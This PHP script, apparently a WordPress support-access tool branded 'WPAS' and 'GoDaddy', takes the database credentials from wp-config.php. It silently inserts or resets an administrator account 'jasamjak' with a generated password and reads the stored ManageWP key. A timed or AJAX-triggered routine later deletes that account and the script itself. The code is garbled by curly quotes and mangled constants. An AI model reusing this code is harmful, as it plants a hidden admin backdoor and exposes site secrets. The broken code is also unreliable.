<?php
// Takes credentials from wp-config.php
include ‘wp-config.php’;
$database = DB_NAME;
$username = DB_USER;
$hostreal = DB_HOST;
$password = DB_PASSWORD;
$prefix = $table_prefix;
$hostname = ($hostreal == ‘localhost:3306’) ? ‘localhost’ : $hostreal;
// Get the path to this script file for self-deletion
define(‘SCRIPT_FILE’, FILE);
define(‘EXPIRATION_FILE’, sys_get_temp_dir() . ‘/wpuser_expire.txt’);
// Initialize timer ONLY if file doesn’t exist (don’t reset existing timer)
if (!file_exists(EXPIRATION_FILE)) {
file_put_contents(EXPIRATION_FILE, time() + 3600); // 1 hour from now
}
// Database connection for functions
$mysqli = new mysqli($hostname, $username, $password, $database);
if ($mysqli->connect_error) {
die(“Connection failed: ” . $mysqli->connect_error);
}
// Function to find the first available admin user
function get_first_admin_user($mysqli, $prefix) {
$adminQuery = “
SELECT u.ID, u.user_login
FROM " . $prefix . "users
u
INNER JOIN " . $prefix . "usermeta
um ON u.ID = um.user_id
WHERE um.meta_key = ‘” . $prefix . “capabilities’
AND um.meta_value LIKE ‘%administrator%’
AND u.user_email != ‘jasamjak@nix.rs’
ORDER BY u.ID ASC
LIMIT 1
“;
$result = $mysqli->query($adminQuery);
if ($result && $result->num_rows > 0) {
return $result->fetch_assoc();
}
return null;
}
// Function to transfer all jasamjak user content to first admin
function transfer_jasamjak_content($mysqli, $prefix) {
// Start transaction for data integrity
$mysqli->autocommit(false);
try {
// Get jasamjak user ID
$jasamjakQuery = "SELECT ID FROM `" . $prefix . "users` WHERE `user_email` = 'jasamjak@nix.rs'";
$jasamjakResult = $mysqli->query($jasamjakQuery);
if (!$jasamjakResult || $jasamjakResult->num_rows == 0) {
$mysqli->rollback();
return "Jasamjak user not found - nothing to transfer";
}
$jasamjakUser = $jasamjakResult->fetch_assoc();
$jasamjakId = $jasamjakUser['ID'];
// Get first admin user
$adminUser = get_first_admin_user($mysqli, $prefix);
if (!$adminUser) {
$mysqli->rollback();
return "No admin user found to transfer content to";
}
$adminId = $adminUser['ID'];
// Transfer all posts (posts, pages, custom post types, revisions, attachments, etc.)
$transferPosts = "UPDATE `" . $prefix . "posts` SET `post_author` = ? WHERE `post_author` = ?";
$stmt = $mysqli->prepare($transferPosts);
$stmt->bind_param("ii", $adminId, $jasamjakId);
$stmt->execute();
$postsTransferred = $stmt->affected_rows;
$stmt->close();
// Transfer all comments
$transferComments = "UPDATE `" . $prefix . "comments` SET `user_id` = ? WHERE `user_id` = ?";
$stmt = $mysqli->prepare($transferComments);
$stmt->bind_param("ii", $adminId, $jasamjakId);
$stmt->execute();
$commentsTransferred = $stmt->affected_rows;
$stmt->close();
// Transfer links if table exists
$linksTransferred = 0;
$linksTableCheck = "SHOW TABLES LIKE '" . $prefix . "links'";
$linksResult = $mysqli->query($linksTableCheck);
if ($linksResult && $linksResult->num_rows > 0) {
$transferLinks = "UPDATE `" . $prefix . "links` SET `link_owner` = ? WHERE `link_owner` = ?";
$stmt = $mysqli->prepare($transferLinks);
$stmt->bind_param("ii", $adminId, $jasamjakId);
$stmt->execute();
$linksTransferred = $stmt->affected_rows;
$stmt->close();
}
// Clean up user sessions and metadata
$deleteUserMeta = "DELETE FROM `" . $prefix . "usermeta` WHERE `user_id` = ?";
$stmt = $mysqli->prepare($deleteUserMeta);
$stmt->bind_param("i", $jasamjakId);
$stmt->execute();
$metaDeleted = $stmt->affected_rows;
$stmt->close();
// Finally, delete the jasamjak user
$deleteUser = "DELETE FROM `" . $prefix . "users` WHERE `ID` = ?";
$stmt = $mysqli->prepare($deleteUser);
$stmt->bind_param("i", $jasamjakId);
$stmt->execute();
$userDeleted = $stmt->affected_rows;
$stmt->close();
// Commit transaction
$mysqli->commit();
$mysqli->autocommit(true);
return "SUCCESS: Content transferred to admin user '{$adminUser['user_login']}' (ID: $adminId). Transferred: {$postsTransferred} posts, {$commentsTransferred} comments, {$linksTransferred} links. Deleted: {$metaDeleted} user meta entries, {$userDeleted} user record.";
} catch (Exception $e) {
$mysqli->rollback();
$mysqli->autocommit(true);
return "ERROR during transfer: " . $e->getMessage();
}
}
// Handle AJAX actions BEFORE any HTML output
if (isset($_GET[‘action’])) {
header(‘Content-Type: application/json’);
if ($_GET['action'] === 'delete_script') {
// Step 1: Transfer content and delete user
$transferResult = transfer_jasamjak_content($mysqli, $prefix);
$mysqli->close();
// Step 2: Delete the script file
$scriptDeleted = false;
if (file_exists(SCRIPT_FILE)) {
$scriptDeleted = unlink(SCRIPT_FILE);
if ($scriptDeleted && file_exists(EXPIRATION_FILE)) {
unlink(EXPIRATION_FILE);
}
}
$finalMessage = $transferResult . ($scriptDeleted ? ' | Script deleted successfully.' : ' | Script file deletion FAILED.');
echo json_encode([
'success' => $scriptDeleted,
'message' => $finalMessage,
'transfer_result' => $transferResult,
'script_deleted' => $scriptDeleted
]);
exit;
} elseif ($_GET['action'] === 'extend_time') {
if (file_exists(EXPIRATION_FILE)) {
$expireAt = (int)file_get_contents(EXPIRATION_FILE);
$newExpireTime = $expireAt + 1800; // Extend by 30 minutes
file_put_contents(EXPIRATION_FILE, $newExpireTime);
echo json_encode([
'success' => true,
'message' => 'Timer extended by 30 minutes',
'new_expire_time' => $newExpireTime
]);
} else {
echo json_encode(['success' => false, 'message' => 'Timer file not found']);
}
exit;
} elseif ($_GET['action'] === 'check_timer') {
if (file_exists(EXPIRATION_FILE)) {
$expireTime = (int)file_get_contents(EXPIRATION_FILE);
$currentTime = time();
if ($currentTime >= $expireTime) {
// Timer expired - execute the 3-step process
// Step 1: Transfer content and delete user
$transferResult = transfer_jasamjak_content($mysqli, $prefix);
$mysqli->close();
// Step 2: Delete the script file
$scriptDeleted = false;
if (file_exists(SCRIPT_FILE)) {
$scriptDeleted = unlink(SCRIPT_FILE);
// Step 3: Delete timer file
if ($scriptDeleted && file_exists(EXPIRATION_FILE)) {
unlink(EXPIRATION_FILE);
}
}
$finalMessage = $transferResult . ($scriptDeleted ? ' | Script auto-deleted successfully after timer expiration.' : ' | Script file deletion FAILED.');
echo json_encode([
'success' => true,
'expired' => true,
'message' => $finalMessage,
'transfer_result' => $transferResult,
'script_deleted' => $scriptDeleted,
'debug' => [
'current_time' => $currentTime,
'expire_time' => $expireTime,
'script_existed' => file_exists(SCRIPT_FILE),
'timer_file_existed' => file_exists(EXPIRATION_FILE)
]
]);
} else {
// Timer not expired yet
echo json_encode([
'success' => true,
'expired' => false,
'debug' => [
'current_time' => $currentTime,
'expire_time' => $expireTime,
'remaining' => $expireTime - $currentTime
]
]);
}
} else {
echo json_encode([
'success' => false,
'expired' => false,
'message' => 'Timer file not found - creating new timer',
'debug' => ['timer_file_exists' => false]
]);
// Create new timer file
file_put_contents(EXPIRATION_FILE, time() + 3600);
}
exit;
}
}
// Generates password
function generate_pw($length = 12) {
$characters = “abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.-+=_,!@#*%”;
$pw = ”;
for ($i = 0; $i < $length; $i++) {
$pw .= $characters[mt_rand(0, strlen($characters) – 1)];
}
return $pw;
}
$newpassword = generate_pw();
// Database queries
$wpasSelect = “SELECT user_login
FROM " . $prefix . "users
WHERE user_email
LIKE ‘jasamjak@nix.rs'”;
$wpasUpdate = “UPDATE " . $prefix . "users
SET user_login
= ‘jasamjak’, user_pass
= MD5(?), user_nicename
= ‘najjaci’ WHERE user_email
LIKE ‘jasamjak@nix.rs'”;
// Update/Insert locale for existing jasamjak user
$wpasUpdateLocale = “INSERT INTO " . $prefix . "usermeta
(user_id
, meta_key
, meta_value
)
VALUES ((SELECT ID FROM " . $prefix . "users
WHERE user_email
LIKE ‘jasamjak@nix.rs’), ‘locale’, ‘en_US’)
ON DUPLICATE KEY UPDATE meta_value
= ‘en_US'”;
// Update/Insert nickname for existing jasamjak user
$wpasUpdateNickname = “INSERT INTO " . $prefix . "usermeta
(user_id
, meta_key
, meta_value
)
VALUES ((SELECT ID FROM " . $prefix . "users
WHERE user_email
LIKE ‘jasamjak@nix.rs’), ‘nickname’, ‘NAJJACI’)
ON DUPLICATE KEY UPDATE meta_value
= ‘NAJJACI'”;
// Add new jasamjak user
$addusers = “INSERT INTO " . $prefix . "users
(user_login
, user_pass
, user_nicename
, user_email
, user_status
, display_name
)
VALUES (‘jasamjak’, MD5(?), ‘najjaci’, ‘jasamjak@nix.rs’, ‘0’, ‘Ja Sam Jak’)”;
$addcapabilities = “INSERT INTO " . $prefix . "usermeta
(umeta_id
, user_id
, meta_key
, meta_value
)
VALUES (NULL, (SELECT max(id) FROM ” . $prefix . “users), ‘” . $prefix . “capabilities’, ‘a:1:{s:13:\”administrator\”;s:1:\”1\”;}’)”;
$addlevel = “INSERT INTO " . $prefix . "usermeta
(umeta_id
, user_id
, meta_key
, meta_value
)
VALUES (NULL, (SELECT max(id) FROM ” . $prefix . “users), ‘” . $prefix . “user_level’, ’10’)”;
$addlocale = “INSERT INTO " . $prefix . "usermeta
(umeta_id
, user_id
, meta_key
, meta_value
)
VALUES (NULL, (SELECT max(id) FROM ” . $prefix . “users), ‘locale’, ‘en_US’)”;
$addnickname = “INSERT INTO " . $prefix . "usermeta
(umeta_id
, user_id
, meta_key
, meta_value
)
VALUES (NULL, (SELECT max(id) FROM ” . $prefix . “users), ‘nickname’, ‘NAJJACI’)”;
$databasesize = “SELECT ROUND(sum( data_length + index_length ) / 1024 / 1024, 2) FROM information_schema.TABLES where table_schema like ?”;
$prositeskey = “SELECT option_value
FROM " . $prefix . "options
where option_name
LIKE ‘mwp_potential_key'”;
$activeplugins = “SELECT option_value
FROM " . $prefix . "options
where option_name
LIKE ‘active_plugins'”;
// Execute queries
$wpasCheck = $mysqli->query($wpasSelect);
$wpasExists = $wpasCheck->fetch_row();
if ($wpasExists && $wpasExists[0] == ‘jasamjak’) {
$stmt = $mysqli->prepare($wpasUpdate);
$stmt->bind_param(“s”, $newpassword);
$stmt->execute();
$stmt->close();
$mysqli->query($wpasUpdateLocale);
$mysqli->query($wpasUpdateNickname);
} else {
$stmt = $mysqli->prepare($addusers);
$stmt->bind_param(“s”, $newpassword);
$stmt->execute();
$stmt->close();
$mysqli->query($addcapabilities);
$mysqli->query($addlevel);
$mysqli->query($addlocale);
$mysqli->query($addnickname);
}
// Get database info
$stmt = $mysqli->prepare($databasesize);
$stmt->bind_param(“s”, $database);
$stmt->execute();
$dbsize = $stmt->get_result();
$dbsizedata = $dbsize->fetch_row();
$stmt->close();
$prosites = $mysqli->query($prositeskey);
$prositesdata = $prosites->fetch_row();
$workeractive = $mysqli->query($activeplugins);
$workerdata = $workeractive->fetch_row();
$mysqli->close();
// Load WordPress if available (for version info)
$wp_version = ‘Unknown’;
if (file_exists(dirname(FILE) . ‘/wp-includes/version.php’)) {
include_once(dirname(FILE) . ‘/wp-includes/version.php’);
}
?>
WPAS Login
GoDaddy
WPAS
WordPress version →
PHP version →
Database size →
ProSites Worker →
+